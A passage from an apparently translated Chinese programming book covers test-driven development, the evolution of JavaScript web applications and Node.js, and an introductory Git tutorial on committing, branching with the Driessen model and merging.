这也有助于你遵守你不需要它(YAGNI)原则,该原则防止你实现实际上不需要的功能。
“总是在你实际上需要的时候实现事物,而不是仅仅预见你需要它们的时候。”
– Ron Jeffries,极限编程(XP)的联合创始人
最后,编写测试(以及因此的规范)迫使你思考你的函数消费者将如何使用接口与你的函数交互——是否应该将所有内容都定义为options
对象内的属性,或者应该是一个普通的参数列表?
// Using a generic options object
User.search(options) {
return db.users.find(options.name, {
limit: options.limit,
skip: options.skip
})
}
// A list of arguments
User.search(name, limit, skip) {
return db.users.find(name, {limit, skip});
}
测试作为文档
当开发者想要使用一个工具或库时,他们通过阅读包含可尝试代码样本的文档或指南来学习,或者通过遵循教程来构建一个基本的应用程序。
测试用例本质上可以充当代码样本,并成为文档的一部分。事实上,测试是所有代码样本中最全面的一套,涵盖了应用程序关心的每一个用例。
尽管测试提供了最好的文档形式,但仅凭测试是不够的。测试用例不提供代码的上下文,例如它如何融入整体业务目标,或者传达其实施背后的理由。因此,测试应该由内联注释、自动生成的以及手动编写的文档来补充。
短的开发周期
由于 TDD 一次关注一个功能块,其开发周期通常非常短(几分钟到几小时)。这意味着可以快速进行小规模的增量更改并发布。
当 TDD 在软件开发方法(如 Scrum)的框架内实施时,小型的开发周期允许方法实践者捕捉团队进度的细粒度指标。
TDD 采用困难
尽管 TDD 在开发技术中是黄金标准,但有许多障碍阻碍了其实施:
-
缺乏经验的团队:TDD 只有在整个开发团队采用它时才能发挥作用。许多初级开发者,尤其是自学成才的开发者,从未学习过编写测试。
好消息是,TDD 并不难;给一天或两天的时间,开发者可以现实地了解不同类型的测试,包括如何监视函数和模拟数据。投资时间培训开发者,以便他们可以在整个雇佣期间编写更可靠的代码,这是明智的。
-
初始开发速度较慢:TDD 要求产品所有者创建规范文档,并要求开发者在编写任何功能性代码之前编写测试。这意味着最终产品可能需要更多的时间来完成。这回到了本章中反复出现的一个主题:现在付出代价,还是以后付出利息。如果你到目前为止一直在阅读,那么第一个选择显然是更好的。
-
遗留代码:许多遗留代码库没有测试,或者测试不完整;更糟糕的是,可能缺乏足够的文档来理解每个函数的设计目的是什么。我们可以编写测试来验证我们已知的功能,但我们不能确定它是否涵盖了所有情况。这是一个棘手的问题,因为 TDD 意味着你先写测试;如果你已经有了所有代码,那么它就不能是 TDD。如果代码库很大,你可以在开始重写的同时继续修复错误(在修复的同时将它们作为单元测试记录下来)。
-
慢速测试:TDD 只有在测试可以快速运行(几秒钟内)时才是实用的。如果测试套件需要几分钟才能运行,那么开发者将不会收到足够的快速反馈,使得这些测试变得有用。
减少这种问题的最简单方法是将代码分解成更小的模块,并对它们分别进行测试。然而,一些测试,如大型集成和 UI 测试,不可避免地会很慢。在这些情况下,你只能在代码提交和推送时运行它们,可能通过将它们集成到持续集成(CI)系统中来实现,这将在第八章“编写单元/集成测试”中介绍。
不使用 TDD 的情况
虽然我鼓励你将 TDD 融入你的工作流程,但我应该声明它并不是万能的。TDD 并不能神奇地让你的代码性能更好或模块化;它只是强迫你更好地设计系统的一种技术,使系统更易于测试和维护。
此外,TDD 会带来很高的初始成本,所以有一些情况下这种投资是不明智的:
-
首先,当项目是一个概念验证(PoC)时。这是商业和开发者只关心想法是否可行,而不是其实现的地方。一旦概念被证明是可行的,商业方可能会同意为这个功能的适当开发批准额外的资源。
-
其次,当产品负责人没有定义清晰的需求(或者不想定义),或者需求每天都在变化时。这种情况比你想象的要常见,因为许多早期初创公司都在不断调整以找到合适的市场定位。不用说,这对开发者来说是个糟糕的情况,但如果你发现自己处于这种状况,那么编写测试将是浪费时间,因为需求一旦改变,测试可能就会过时。
摘要
在本章中,我们探讨了技术债务的原因、后果以及预防方法。然后,我们介绍了 TDD 作为一种避免技术债务的过程;我们概述了它的好处,以及如何在你的工作流程中实施它。第五章《编写端到端测试》和第六章《在 Elasticsearch 中存储数据》,我们将更深入地探讨不同类型的测试(单元测试、集成测试和端到端/验收测试)。
无论定义如何,好的代码在长期来看都比坏代码花费的时间更少。意识到这一事实并拥有从一开始就建立强大基础的纪律是明智的。你可以在薄弱的基础上建造房屋,它可能能站立一百年,但如果你在薄弱的基础上建造摩天大楼,它可能会比你想象的更快倒塌。
"始终以这样的心态编写代码:最终维护你代码的人可能是一个知道你住处的暴力狂人。"
—— 约翰·F·伍兹
第二章:JavaScript 的现状
JavaScript 一直未被传统地视为后端语言;那个领域属于 Java、Python、C/C++、C#/.NET、PHP、Ruby 等语言。JavaScript 只是一个允许网页开发者添加动画以改善其美学的“玩具语言”。但随着 Node.js 的出现,这一切都改变了。有了 Node.js,开发者现在可以编写在服务器端以及客户端执行的 JavaScript 代码。换句话说,开发者现在可以使用 同一种语言 编写前后端代码!
这提供了巨大的生产力优势,因为现在可以跨整个技术栈共享通用代码。此外,开发者可以避免在不同语言之间切换上下文,这通常会导致注意力分散并降低产出。
这也导致了 同构 或 通用 JavaScript 框架(如 Meteor)的兴起。这类框架允许你完全使用 JavaScript 编写在客户端和服务器上运行的应用程序。
本章我们将涵盖以下内容:
-
检视网络应用程序的演变简史及其从 客户端-服务器模型 向 单页应用程序 (SPAs) 的转变
-
解释同构 JavaScript 的概念
-
探索在整个技术栈中使用 JavaScript 的好处
网络应用程序的演变
当你在浏览器中输入一个 URL,例如 www.example.com
,实际上会发生什么?首先,浏览器会向 Example Corp 的服务器之一发送请求,该服务器检索请求的资源(例如,一个 HTML 文件),并将其发送回客户端:
浏览器随后解析 HTML,检索网页所依赖的所有文件,例如 CSS、JavaScript 和媒体文件,并将它们渲染到页面上。
浏览器消耗平面、一维文本(HTML、CSS),并在将其渲染到页面上之前将它们解析成树状结构(DOM、CSSOM)。
这种方案被称为 客户端-服务器模型。在这个模型中,大部分处理都在服务器端进行;客户端的角色仅限于简单的表面用途,例如渲染页面、动画菜单和图片轮播,以及提供基于事件的交互性。
这种模型在 1990 年代和 2000 年代非常流行,当时网络浏览器的功能并不强大。在客户端使用 JavaScript 创建整个应用程序是闻所未闻的,那些有这种需求的人求助于 Java 小程序和 Adobe Flash(以及在一定程度上,Microsoft Silverlight)。然而,随着时间的推移,个人设备(如台式电脑、笔记本电脑和智能手机)的计算能力大幅提升,这使得浏览器能够处理更复杂的操作。
实时 (JIT) 编译器
在 2008 年至 2009 年之间,Firefox 背后的公司 Mozilla,在 Firefox 3.x 的不同版本中缓慢引入了TraceMonkey,这是 JavaScript 的第一个即时编译器(JIT),从 3.1 版本开始。同样,Chrome 和 Safari 背后的V8 JavaScript 引擎,以及为 Internet Explorer 和 Edge 提供动力的Chakra,也包含了 JIT 编译器。
传统上,JavaScript 引擎使用解释器,它将 JavaScript 源代码翻译成计算机可以运行的机器代码。JIT 编译器通过识别频繁运行的代码块,编译它们并将它们添加到缓存中,从而提高了引擎的性能。当同一代码块需要在以后的时间再次运行时,JavaScript 引擎可以简单地运行缓存的预编译机器代码,完全跳过解释器。不用说,这要快得多,JavaScript 引擎可以在单位时间内执行更多的操作,从而大大提高性能。
单页应用程序(SPAs)
由于这种性能的提升,开发者现在可以构建运行在浏览器上的功能丰富的 JavaScript 应用程序。谷歌是第一个利用这一优势的主要公司,他们在 2010 年 10 月 20 日发布了第一个客户端 Web 应用程序框架——Angular。从那时起,许多竞争对手相继出现,包括Ember、React和Vue.js,但 Angular 至今仍具有相关性。
Angular 是一个用于构建 SPAs 的框架。它不像将大部分处理委托给服务器,而是客户端承担了大部分责任。
以一个电子商务 Web 应用程序为例。在客户端-服务器模型中,当服务器收到客户端的请求时,它将组合一个完整的 HTML 并将其作为响应的有效负载附加。如果它需要从数据库中获取数据,它将查询数据库并将数据注入 HTML 模板以生成完整的 HTML。然后,客户端,通常是一个浏览器,被委托执行简单的任务,将 HTML 渲染到屏幕上。
在 SPA 模型中,服务器最初会将整个应用程序发送给客户端,包括任何 HTML、CSS 和 JavaScript 文件。所有应用程序逻辑,包括路由,现在都驻留在客户端。正因为如此,客户端可以非常快速地更新应用程序的用户界面,因为它不需要等待服务器的响应。每当客户端需要它没有的信息,例如数据库中的某些条目时,它将向服务器发送请求。然后服务器会以原始数据的形式响应,通常是 JSON 格式,不再发送其他内容。然后客户端的任务就是处理这些信息并适当地更新用户界面。在 SPAs 中,大部分逻辑都在客户端处理;服务器的任务仅仅是检索并发送数据:
与客户端-服务器模型相比,SPA 模型有许多优点:
-
它释放了服务器以处理更多请求,因为请求更容易处理。
-
这使得应用程序的 UI 能够更快地响应用户交互,因为 UI 不需要等待服务器响应才能更新自己。
现在,大多数 Web 应用程序都是使用 SPA 框架构建的。Tesla、Sony、Microsoft Support、Genius、Renault、Staples、Udemy 和 Healthcare.gov 都是使用 Angular 构建的网站;Airbnb、Asana、BBC、Dropbox、Facebook、Lyft、Netflix、PayPal 和 Uber 都在他们的网站上使用 React;尽管 Vue.js 相对较新,但一些主要亚洲公司已经采用了它,例如阿里巴巴、百度、腾讯、小米和 Line。
同构 JavaScript 应用
然而,任何事物都有其缺点,SPA 也不例外。SPA 最明显的缺点是需要传输更多的代码,这可能会增加页面的初始加载时间。为了克服这一缺陷,可以采用称为服务器端渲染(SSR)的技术。
使用 SSR(服务器端渲染),初始页面以与传统客户端-服务器模型相同的方式在服务器上处理和渲染。然而,返回的 HTML 包含一个标签,将在稍后时间请求下载应用程序的其余部分,在初始页面成功渲染之后。这使我们能够提高初始页面加载速度,同时保持所有 SPA(单页应用)的优点。此外,SSR 对于确保搜索引擎优化(SEO)性能也非常有用,因为它帮助网络爬虫快速解析页面应该如何显示,而无需下载所有资源。
SSR 可以与其他技术(如代码拆分和树摇)结合使用,以减小初始响应负载的大小,从而减少首次渲染时间(TTFR)并提高用户体验。
这就是当今 Web 应用程序的状态。新的 Web 标准,如HTTP/2和WebAssembly(又称Wasm),可能会在不久的将来改变我们构建 Web 应用程序的方法。在前端开发快速发展的世界中,这种 SPA + SSR 模型可能会很快被新的范式所取代。
Node.js 的优点
JavaScript 是浏览器的语言。这一点无可否认。接下来,让我们探讨为什么开发者应该选择 Node.js 作为他们应用程序的后端语言。尽管有许多原因,但在这里我们将其归结为两个因素——上下文切换和共享代码。
上下文切换
上下文切换,或称任务切换,是指开发者同时处理多个项目或在不同的语言中工作,并需要定期在这之间切换。
“同时做多项任务,尤其是同时做多项复杂任务,会对生产力造成影响。”
– 多任务:切换成本(美国心理学会)
(www.apa.org/research/action/multitask.aspx
)
项目间的切换
编程是一项需要你同时记住许多变量的活动——变量名、不同模块的接口、应用程序结构等等。如果你切换到另一个项目,你将不得不丢弃当前项目的上下文并加载新项目的上下文。这种切换所需的时间会随着项目的复杂性而增加,并且因人而异,但可能从几分钟到几小时不等。这使得开发过程极其低效。
这就是为什么,你应该在开始另一个项目之前先完成一个项目,而不是同时处理多个任务。
语言间的切换
在不同编程语言之间切换时,同样适用这个原则。在项目间切换时,你需要在不同上下文之间切换;在语言间切换时,你需要在不同语法、数据结构和生态系统之间切换。为了说明,以下表格展示了 Python 和 JavaScript 之间的一些关键差异:
Python | JavaScript |
---|---|
有许多数据类型,包括 None ,布尔型,int ,float ,complex ,list ,tuple ,range ,str ,bytes ,bytearray ,memoryview ,set ,frozenset ,dict 等等 |
有七个数据类型: undefined ,null ,布尔型,number ,string ,symbol 和 object |
语句通过缩进来分组 | 语句通过使用括号({} )表示的块来分组 |
使用 virtualenv 来创建隔离环境 |
使用 Node 版本管理器 (github.com/creationix/nvm ) (nvm),package.json 和本地的 node_modules 目录来创建隔离环境 |
使用基于类的继承模型 | 使用基于原型的继承模型 |
除了语法上的差异,不同的语言可能还会遵循不同的范式——Elixir 是一种函数式语言,而 Java 是一种面向对象(OO)的语言。
因此,在不同语言之间进行上下文切换也会使开发过程非常低效。
商业视角
从商业角度来看,前端和后端使用不同的语言意味着他们需要雇佣两种不同类型的开发者:前端使用 JavaScript 开发者,后端可以使用 Python 开发者。如果后端任务有大量积压,前端开发者就无法提供帮助(除非他们也了解 Python)。这使得项目经理的资源分配更加困难。但如果每个人都使用 JavaScript 进行开发,那么这个问题就消失了。
此外,使用 JavaScript 整个栈可以使开发过程更加高效。除了避免上下文切换带来的效率提升外,现在单个开发者可以从头到尾开发一个完整的功能,因为他们可以编写前端和后端。
共享代码
随着 Node.js 和 SPAs 变得越来越受欢迎,每天都有越来越多的 JavaScript 库被编写。在撰写本文时,超过 775,000 个包列在npmjs.com,这是 JavaScript 的事实上的包管理器。这些包括处理时间和日期的库(moment.js
)、实用库(lodash
),甚至深度学习库(convnetjs
)。
npm 包最初仅意味着由服务器端 Node.js 安装和运行;然而,像Browserify和Webpack这样的工具允许我们将这些依赖项打包并发送到客户端。现在,许多 npm 包可以在前端和后端同时使用。
同样,通过在整个堆栈中使用 JavaScript,你可以封装通用逻辑并在两个环境中使用它。例如,身份验证检查应在服务器(出于安全原因)以及客户端(通过防止不必要的请求来确保性能)上执行。
如果 JavaScript 用于前端和后端代码,那么代码可以共享和重用。然而,如果我们使用 Python 作为后端,那么相同的逻辑必须在 JavaScript 中重复。这违反了不要重复自己(DRY)原则,并使我们的开发过程变得更慢且更容易出错。
项目也变得更加难以维护。现在,当我们需要修改代码时,我们必须在两种不同的语言中更新两次,可能是在两个不同的项目中;这两个项目可能还需要同时部署。
因此,在前端使用 JavaScript,在后端使用 Node.js,可以使你提高可维护性,减少兼容性问题,并节省人力和开发时间。
摘要
在本章中,我们描述了从使用客户端-服务器模型到单页应用(SPAs)的演变过程,以及 JavaScript 引擎的进步如何促进了这一转变。然后,我们讨论了在堆栈中使用 JavaScript 的好处,重点关注上下文切换和共享代码的话题。
第三章:使用 Git 管理版本历史。
在本书中,从第四章“设置开发工具”开始,我们将构建一个非常简单的用户目录,我们随机命名为hobnob。我们需要一种方法来保存我们代码的版本历史,这样如果我们沿途犯了一些错误,我们可以简单地回滚到最后已知的好版本,并从这里重新开始。这被称为版本控制(VC)。
实现版本控制的最简单方法是将整个代码库复制到带日期的目录中;然而,这很繁琐,可能会占用大量磁盘空间。相反,我们可以使用一种版本控制系统(VCS)来为我们管理这些版本。我们只需指示 VCS 何时创建代码的快照,它就会保留该版本。
从 1972 年开始,出现了许多版本控制系统(VCS)的实现,最初是源代码控制系统(SCCS),后来被修订控制系统(RCS,于 1982 年发布)取代,然后是并发版本系统(CVS,于 1990 年发布),以及Apache Subversion(SVN,于 2000 年发布)。如今,我们主要使用Git(于 2005 年发布),这是一种称为分布式版本控制系统(DVCS)的 VCS。
Git 是由 Linux 内核的创造者林纳斯·托瓦兹(Linus Torvalds)创建的。它用于跟踪 Linux 内核的开发变化,以及目前在 GitHub 上数千万个仓库。在本章中,我们将指导您设置和配置 Git,并解释基本 Git 概念,例如:
-
Git 的不同状态。
-
基本的 Git 操作,如暂存、提交、合并/变基、推送和拉取。
-
使用 Vincent Driessen 提出的分支模型实现并行开发工作流程,通常称为Git flow。
-
设置GitHub账户以远程托管我们的代码。
-
理解与他人协作时的工作流程。
设置 Git。
首先,我们必须安装 Git。
大多数安装说明取决于您的硬件架构和操作系统。为我们所有这些列出说明是不切实际的。因此,对于本书,我们假设您正在 64 位机器上运行 Ubuntu 16.04/18.04,使用具有sudo
权限的用户。
我们将在可能的情况下提供 URL 链接到文档,这样您就可以找到针对您机器的特定安装说明。然而,由于互联网的动态性,URL 地址会发生变化,页面可能会被移动。如果提供的链接看起来是无效的,只需使用搜索引擎搜索说明。
Git 可用于 macOS、Windows 和 Linux。您可以在git-scm.com/downloads
找到 Git 的下载说明。由于我们使用 Ubuntu,git
软件包将从我们的发行版的软件包管理器 高级包装工具(APT)提供。在安装 git
软件包之前,我们应该运行 sudo apt update
以确保 APT 可用的仓库列表是最新的:
$ sudo apt update
$ sudo apt-get install git
Git 现在作为 git
命令行界面(CLI)提供。
创建新的仓库
接下来,创建一个名为 hobnob
的目录来存放我们的项目。然后,进入该目录并运行 git init
。这将允许 Git 开始跟踪我们项目的更改;由 Git 跟踪的项目也称为 仓库:
$ mkdir -p ~/projects/hobnob
$ cd ~/projects/hobnob/
$ git init
Initialised empty Git repository in ~/projects/hobnob/.git/
随着我们介绍新的 Git 命令,我鼓励您阅读它们的完整文档,您可以在git-scm.com/docs
找到。
运行 git init
创建一个 .git
目录,该目录包含关于项目所有版本控制相关的信息。当我们使用 CLI 与 Git 交互时,它所做的只是操作这个 .git
目录的内容。我们通常不需要关心 .git
目录的内容,因为我们可以通过 CLI 纯粹地与 Git 交互。
因为 Git 将所有文件都保存在 .git
目录下,删除 .git
目录将删除仓库,包括任何历史记录。
配置 Git
我们可以使用 git config
命令来配置 Git。此命令将代表我们操作 .git/config
文件。实际上,如果我们打印 .git/config
文件的内容,您会看到它与 git config
命令的输出类似:
$ cd ~/projects/hobnob/
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
$ git config --list --local
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
您可以使用像 tree
这样的工具随意检查 .git
目录。首先,通过运行 sudo apt install tree
来安装 tree
。然后,运行 tree ~/projects/hobnob/.git
。
要配置 Git,我们首先需要了解存在三个配置范围或级别,每个级别都有一个相应的配置文件,存储在不同的位置:
-
本地:仅适用于当前仓库;配置文件存储在
<repository-root>/.git/config
。 -
全局:适用于用户主目录下的所有仓库;配置文件存储在
$HOME/.config/git/config
和/或$HOME/.gitconfig
,后者仅在新版本的 Git 中可用。$HOME/.gitconfig
将覆盖$HOME/.config/git/config
。 -
系统:适用于您机器上的所有仓库;配置文件存储在
/etc/gitconfig
。
本地配置设置将覆盖全局设置,而全局设置又覆盖系统设置。
配置用户
当我们要求 Git 对我们的代码进行快照(也称为 提交)时,Git 将记录一些信息,例如提交的时间作者。关于作者的信息被保存为 Git 配置,这样我们每次提交时就不必重新输入它们。
默认情况下,添加/更新配置将写入本地配置文件。然而,由于你将是唯一使用你机器上用户账户的人,因此最好在全局配置文件中设置用户设置:
$ git config --global user.name "Daniel Li"
$ git config --global user.email "dan@danyll.com"
这将导致未来的提交默认被标识为"Daniel Li"
,其电子邮件地址为"dan@danyll.com"
。
如果你有一个 GitHub 账户(如果没有,我们稍后会创建一个),你应该为 Git 使用相同的电子邮件地址。当你推送提交时,GitHub 会自动将你的提交关联到你的账户。
我们现在已经成功设置了 Git 并配置了我们的用户。
在本章剩余部分,我们将使用虚拟文件来展示 Git 的工作原理以及我们将遵循的工作流程。本章剩余部分你所做的所有操作都应被视为一个教育练习,之后可以丢弃。在下一章的开始,我们将从头开始我们的项目,并使用本章学到的知识来保持代码库的历史有序!
学习基础知识
Git 的主要目的是保持更改的历史记录或版本。为了说明这一点,让我们创建一个简单的文件并将其提交到仓库的历史记录中。
提交到历史记录
首先,让我们通过运行git log
来确认我们的仓库 Git 历史记录,它显示了过去提交的历史:
$ git log
fatal: your current branch 'master' does not have any commits yet
错误信息正确地通知我们目前没有提交。现在,让我们创建一个简短的README.md
文件,它代表我们想要提交的第一个更改:
$ cd ~/projects/hobnob/
$ echo -e "# hobnob" >> README.md
我们已经创建了第一个文件,因此做出了第一个更改。现在我们可以运行git status
,它将输出有关我们仓库当前状态的信息。我们应该看到 Git 已经抓取了我们的README.md
文件:
$ git status
On branch master
Initial commit
Untracked files: (use "git add <file>..." to include in what will be committed)
README.md
nothing added to commit but untracked files present (use "git add" to track)
输出告诉我们我们位于默认的master
分支(稍后关于分支的更多内容),这是我们初始提交——我们还没有将任何内容提交到仓库。然后它说我们有未跟踪的文件。要理解这意味着什么,我们必须了解文件在 Git 中可能处于的不同状态。
到目前为止,我们已经使用了git log
和git status
,但还有许多更多的 CLI 命令;要查看完整列表,请运行git help
。要获取特定命令的详细信息,请运行git help [command]
;例如,git help status
。
理解 Git 中的文件状态
在 Git 中,每个文件都可以处于两种通用状态之一:跟踪和未跟踪。
初始时,所有文件都存在于工作区(也称为工作树或工作目录)中,并且处于未跟踪状态。这些未跟踪的文件不是仓库的一部分,Git 不会抓取对它们的更改。当我们运行git status
时,Git 会看到我们的工作区中有未跟踪的文件(不属于仓库),并询问我们是否要将它们添加到仓库中。当我们使用git add
和git commit
将新文件提交到仓库时,它将从未跟踪状态转换为跟踪状态:
$ git add README.md
$ git commit -m "Initial commit"
[master (root-commit) 6883f4e] Initial commit
1 file changed, 1 insertion(+)
create mode 100644 README.md
README.md
现在是存储库的一部分,并且处于跟踪状态。
我们传递"Initial commit"
作为注释来描述提交。每个提交都应该有一个伴随的消息来描述所做的更改。它应该是信息性和具体的;例如,"Fixed rounding error bug in calculateScore"
比"fixed bugs"
更好的提交信息。
然而,由于我们的提交除了初始化存储库之外几乎没有做其他事情,所以这个消息就足够了。
我们可以通过查看存储库的 Git 提交历史来确认这一点,使用git log
命令:
$ git log
commit 9caf6edcd5c7eab2b88f23770bec1bd73552fa4a (HEAD -> master)
Author: Daniel Li <dan@danyll.com>
Date: Fri Dec 8 12:29:10 2017 +0000
Initial commit
跟踪的三个状态
更精确地说,跟踪状态可以进一步细分为三个子状态:修改的、暂存的和已提交的。我们的README.md
文件处于已提交状态。
Git 会关注所有跟踪的文件;如果我们修改了其中任何一个(包括删除和重命名),它们的状态将从已提交变为修改的:
$ echo "A very simple user directory API with recommendation engine" >> README.md
$ git status
On branch master
Changes not staged for commit:
modified: README.md
当我们运行git status
时,修改的文件以及任何未跟踪的文件都会被列出。修改的文件可以像未跟踪的文件一样提交:
$ git add README.md
$ git commit -m "Update README.md"
[master 85434b6] Update README.md
1 file changed, 1 insertion(+)
你可能想知道为什么我们运行git commit
之前必须运行git add
。git add
将未跟踪或修改的文件放入称为暂存区的地方,这也被称为索引或缓存。当文件放入暂存区时,它处于暂存状态。当我们提交时,只有暂存区中的更改会被添加到存储库中;而留在工作区中的更改则不会被提交。
暂存我们的更改
通过拥有暂存区,我们可以git add
多个相关的更改,并一次性将它们git commit
——作为一个单独的提交。
在这里,暂存区充当一个临时环境,用于收集这些相关的更改。例如,如果我们向我们的应用程序添加一个新特性,我们也应该在README.md
中记录这一点。这些更改相互关联,应该一起提交:
$ echo "console.log('Hello World')" >> index.js
$ echo -e "# Usage\nRun \`node index.js\`" >> README.md
$ git add index.js README.md
$ git commit -m "Add main script and documentation"
[master cf3221a] Add main script and documentation
2 files changed, 3 insertions(+)
create mode 100644 index.js
快速回顾
让我们快速总结一下到目前为止我们已经学到的内容:
-
工作区/工作目录:当前在文件系统中的所有文件和目录
-
索引/暂存区/缓存:您想要提交的所有修改
-
存储库(
.git
目录):存储所有已提交和跟踪的文件的历史记录
分支和合并
到目前为止,我们一直是按顺序将更改添加到存储库中,从而产生了一个具有线性结构的记录。但如果你或你的团队想要同时处理不同的特性/多个任务,会怎样呢?如果我们继续使用当前的流程,Git 提交历史将看起来是断开的:
在这里,我们有一些与错误修复相关的提交穿插在有关特性的提交之间。这不是理想的。Git 分支是为了处理这个问题而创建的。
Git 分支
正如我们简要提到的,默认分支被称为master
,并且我们一直在这个分支上添加提交,直到现在。
现在,当我们开发一个新功能或修复特定错误时,我们不再直接将这些提交添加到master
分支,而是可以从master
分支的某个提交创建一个分支。对这些错误修复和/或功能分支的任何新提交都将单独在历史树中的另一个分支中分组,这不会影响master
分支。如果和当修复或功能完成时,我们可以将这个分支合并回master
。
最终结果是一样的,但现在 Git 历史记录要容易阅读和理解得多。此外,分支允许您在仓库的隔离部分编写和提交实验性代码,因此您的更改,可能会引入新的错误和回归,在经过测试和同行评审之前不会影响其他人。
分支模型
我们所描述的工作流程是一个分支模型的例子,这个术语只是描述了您如何构建分支的方式。正如您所想象的那样,存在许多分支模型,并且大多数都比我们概述的模型复杂。
对于这本书,我们将遵循 Vincent Driessen 在他的文章 A successful Git branching mode**l 中提出的分支模型,但您可以自由探索其他模型并使用对您有意义的模型。最重要的是,您和您的团队要始终如一地坚持这个模型,这样团队中的每个人都知道对他们有什么期望。
您可能已经听说过 Driessen 的模型被描述为 Git Flow,但 gitflow
(github.com/nvie/gitflow
) 实际上是一组 Git 扩展,它提供了一套遵循 Driessen 模型的高级操作。
您可以在 Driessen 提出此模型的原始帖子中找到nvie.com/posts/a-successful-git-branching-model/
。
Driessen 模型
Driessen 提供了一个详细图解说明他的模型是如何工作的:
在 Driessen 的模型中,有两个永久分支:
-
dev
(或develop
,或development
):开发者工作的主要分支。 -
master
:只有经过测试和利益相关者批准的生产就绪代码可以提交到这个分支。这里的“生产就绪”意味着代码已经过测试并获得批准。
此外,还有一些非永久分支:
-
功能分支:从
dev
分支进行分支,功能分支用于开发新功能或修复非关键错误。功能分支最终将被合并回dev
分支。 -
发布分支:一旦足够的功能或错误修复已实现并合并到
dev
分支,就可以从dev
分支创建发布分支,在发布之前进行更多审查。例如,可以将应用程序部署到预发布服务器进行 UI 和手动测试。在此过程中发现的任何错误都会被修复并直接提交到发布分支。一旦发布分支“无错误”,就可以将其合并到master
分支并发布到生产环境中。这些修复也应该合并回dev
分支和任何其他发布分支。 -
热修复(或补丁)分支:热修复是生产中必须尽快修复的问题(不一定是错误),在下一个计划发布之前必须解决。在这种情况下,开发者会从
master
分支创建一个分支,进行必要的更改,然后直接合并回master
。这些热修复分支也应该合并回dev
分支和任何其他发布分支。
创建开发分支
要实现 Driessen 模型,我们首先必须从主分支创建 dev
分支。要检查我们当前所在的分支,我们可以运行 git branch --list
或简单地运行 git branch
:
$ git branch
* master
这将返回所有分支的列表,当前活动分支旁边有一个星号(*
),当前是 master
。要从一个当前分支创建新的 dev
分支,我们可以运行 git branch dev
。
然而,我们将运行 git checkout -b dev master
,这会创建一个新的分支并将其同时设置为活动分支:
$ git checkout -b dev master
Switched to a new branch 'dev'
$ git branch
* dev
master
创建功能分支
任何新功能都应该从 dev
分支分支开发。确保将功能分支命名为清楚地表明正在工作的功能。例如,如果您正在处理社交登录功能,请将您的分支命名为 social-login
:
$ git branch
* dev
master
$ git checkout -b social-login dev
Switched to a new branch 'social-login'
如果该功能有子功能,您可以从主功能分支创建子分支。例如,social-login
分支可能包括 facebook-login
和 twitter-login
子分支。
子分支命名
命名这些子分支有多种有效的方法,但最流行的约定使用 分组令牌,以及各种 分隔符。例如,我们的 Facebook 和 Twitter 登录子分支可以分组在 social-login
分组令牌下,使用点(.
)作为分隔符,以及一个 子令牌,如 facebook
或 twitter
:
$ git checkout -b social-login.facebook social-login
Switched to a new branch 'social-login.facebook'
$ git branch
dev
master
social-login
* social-login.facebook
您可以使用几乎任何东西作为分隔符;逗号(,
)、井号(#
)和大于号(>
)都是有效的分隔符。然而,文档的 git-check-ref-format
部分中概述了几个规则,给出了有效的引用名称。例如,以下字符不可用:空格、波浪号(~
)、 caret(^
)、冒号(:
)、问号(?
)、星号(*
)和开方括号([
)。
想要查看所有规则,请访问 git-check-ref-format
的文档,网址为 git-scm.com/docs/git-check-ref-format
。
我遇到的大多数约定都使用正斜杠 (/
) 作为分隔符,所以我们在这里也这样做。然而,这会带来一个问题,因为分支存储在 .git/refs/heads
下的文本文件中。如果我们创建一个名为 social-login/facebook
的子分支,那么它需要创建在 .git/refs/heads/social-login/facebook
,但在我们这个例子中这是不可能的,因为 social-login
名称已经被用作文件名,因此不能同时作为目录:
$ git checkout -b social-login/facebook social-login
fatal: cannot lock ref 'refs/heads/social-login/facebook': 'refs/heads/social-login' exists; cannot create 'refs/heads/social-login/facebook'
因此,当我们创建一个新的功能分支时,我们需要提供一个 默认 子令牌,例如 main
。考虑到这一点,让我们删除我们当前的特性分支,并使用 main
子令牌重新创建它们:
$ git checkout dev
$ git branch -D social-login social-login.facebook
$ git checkout -b social-login/main dev
$ git branch
dev
master
* social-login/main
我们现在位于 social-login/main
特性分支上,可以开始开发我们的社交登录功能。
我们实际上不会编写任何代码;我们只是将文本添加到文件中,以模拟新功能的添加。这使我们能够专注于 Git,而不会被实现细节所困扰。
首先,让我们创建该文件并将其提交到 social-login/main
分支:
$ touch social-login.txt
$ git add -A && git commit -m "Add a blank social-login file"
我们在这里使用 git add -A
来将所有更改添加到暂存区。
现在,我们将创建一个子特性分支并开发我们的 Facebook 登录功能:
$ git checkout -b social-login/facebook social-login/main
$ echo "facebook" >> social-login.txt
$ git add -A && git commit -m "Implement Facebook login"
现在,为 Twitter 登录功能做同样的事情,确保从主功能分支进行分支:
$ git checkout -b social-login/twitter social-login/main
$ echo "twitter" >> social-login.txt
$ git add -A && git commit -m "Implement Twitter login"
现在我们有两个子特性分支,一个主特性分支,一个 dev
分支,以及我们的原始 master
分支:
$ git branch
dev
master
social-login/facebook
social-login/main
* social-login/twitter
即使你是在独立工作,创建分支也是有用的,因为它可以帮助你组织代码,并能快速地在不同的特性之间切换。
还要注意,没有“正确”的方式来命名分支,只有错误的方式。例如,你可能会选择为你的分支使用额外的分组,例如 feature/social-login/facebook
。如果你使用像 JIRA 这样的问题跟踪工具,你也可能希望将问题 ID 添加到分支中,例如 fix/HB-593/wrong-status-code
。重要的是要选择一个灵活的方案,并保持一致性。
合并分支
我们已经在两个单独的特性子分支上开发了 Facebook 和 Twitter 登录功能;我们如何将这些更改放回 master
分支上?按照 Driessen 模型,我们必须将两个子特性分支合并到主特性分支上,然后将特性分支合并到 dev
分支上,最后从 dev
分支创建一个发布分支并将其合并到 master
分支上。
要开始,让我们使用 git merge
将 social-login/facebook
分支合并到 social-login/main
分支:
$ git checkout social-login/main
$ git merge social-login/facebook
Updating 8d9f102..09bc8ac
Fast-forward
social-login.txt | 1 +
1 file changed, 1 insertion(+)
Git 将尝试自动将 social-login/facebook
分支的更改合并到 social-login/main
分支。现在,我们的分支结构看起来是这样的:
$ git log --graph --oneline --decorate --all
* 9204a6b (social-login/twitter) Implement Twitter login
| * 09bc8ac (HEAD -> social-login/main, social-login/facebook) Implement Facebook login
|/
* 8d9f102 Add a blank social-login file
* cf3221a (master, dev) Add main script and documentation
* 85434b6 Update README.md
* 6883f4e Initial commit
